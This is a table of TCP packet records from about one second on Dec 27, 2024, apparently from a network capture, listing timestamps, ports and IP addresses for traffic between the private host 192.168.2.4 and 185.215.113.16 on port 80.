Dec 27, 2024 09:13:06.620215893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.620323896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.620359898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.644401073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.663512945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.663532019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.663595915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.663975000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.664140940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.664191008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.665143967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.665158987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.665204048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.666085958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.697163105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.708334923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.710275888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.710293055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.710336924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.710695982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.710741997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.710779905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.712816000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.712830067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.712845087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.712861061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.712882042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.713305950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.714777946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.714791059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.714832067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.714972973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.715018034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.715049982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.716038942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.716089964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.716165066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.717168093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.717211962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.717251062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.718157053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.718199968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.718244076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.719229937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.719274044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.719356060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.722501993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.941256046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.941279888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.941433907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.941493034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.941673040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.941715002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.942518950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.942738056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.942779064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.943593979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.943748951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.943789005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.944654942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.944762945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.944802999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.946042061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.946057081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.946089029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.946831942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.946897984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.946938992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.948084116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.948097944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.948137999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.948879957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.949001074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.949040890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.949959993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.950077057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.950114965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.951015949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.951168060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.951211929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.952105999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.952246904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.952300072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.953126907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.953299999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.953341961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.954221010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.954317093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.954358101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.955286026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.955384016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.955425978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.956382036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.956458092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.956497908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.957377911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.957771063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.957834959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.958445072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.958590984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.958630085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.959546089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.959835052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.959881067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.960558891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.960712910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.960755110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.961730957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.961874962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.961918116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.962855101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.962872028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.962910891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.963799000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.964010000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.964051008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.964864969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.964932919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.964992046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.965887070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.965997934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.966038942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.967001915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.967080116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.967117071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.968101978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.968151093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.968194008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.969934940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.969950914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.970010042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.970150948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.970313072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.970354080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.971205950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.971304893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:06.971344948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:06.972263098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.015597105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.046099901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.046144962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.046272039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.046435118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.046567917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.046606064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.047611952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.047697067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.047736883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.048681974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.048799992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.048844099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.049649954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.049736023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.049767971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.050715923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.050801992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.050837040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.051806927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.051906109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.051939011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.052844048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.052949905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.053004980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.053911924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.053975105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.054009914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.064359903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.064395905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.064439058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.064649105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.064764977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.064824104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.065709114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.065804958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.065840960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.066783905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.066798925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.066833973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.090080023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.090097904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.090145111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.090584993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.090657949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.090697050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.091242075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.091366053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.091401100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.092299938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.140620947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.171166897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.171197891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.171338081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.171586037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.171684980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.172106981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.172616959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.172723055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.173310041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.173460960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.173571110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.173616886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.174484015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.174592018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.174653053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.175559044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.175690889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.176106930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.176605940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.176727057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.176770926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.177699089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.177758932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.177932978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.180624962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.180763960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.180809021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.181118011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.181216002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.181305885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.189474106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.189517975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.189621925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.189912081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.190016985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.190212011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.190989971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.191093922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.191195011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.192066908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.215217113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.215275049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.215320110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.215693951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.215750933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.215786934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.216367960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.216470003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.216527939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.217453957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.217503071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.217530966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.265609980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.296155930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.296180010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.296299934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.296571016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.296715021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.297317982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.297622919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.297708035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.298523903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.298571110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.298635006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.298674107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.299722910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.299901009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.300173998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.301096916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.301110983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.301161051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.301624060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.301713943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.301829100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.302715063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.302829981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.303402901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.303793907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.303905964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.303949118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.304836035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.304985046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.305306911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.305886984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.305998087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.306041002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.306932926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.314975023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.314992905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.315047979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.315120935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.315247059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.315298080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.316206932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.316255093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.316308022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.317280054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.317322016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.340260029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.340311050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.340487957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.340672970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.340897083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.341001987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.341048956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.341907978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.341972113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.341988087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.390595913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.483196020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.483241081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.483341932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.483609915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.483757973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.484775066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.484836102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.484906912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.484952927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.485774040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.485800982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.486262083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.486850977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.486877918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.487885952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.487934113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.487979889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.488023996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.488943100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.489061117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.489310980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.489984989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.490093946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.490151882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.491046906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.491157055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.491300106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.492177963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.492254019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.492315054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.493277073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.493383884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.494255066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.494307995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.494369984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.494416952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.495349884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.495438099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.495479107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:07.496371984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.496489048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:07.497426987 CET	80	49743	185.215.113.16	192.168.2.4
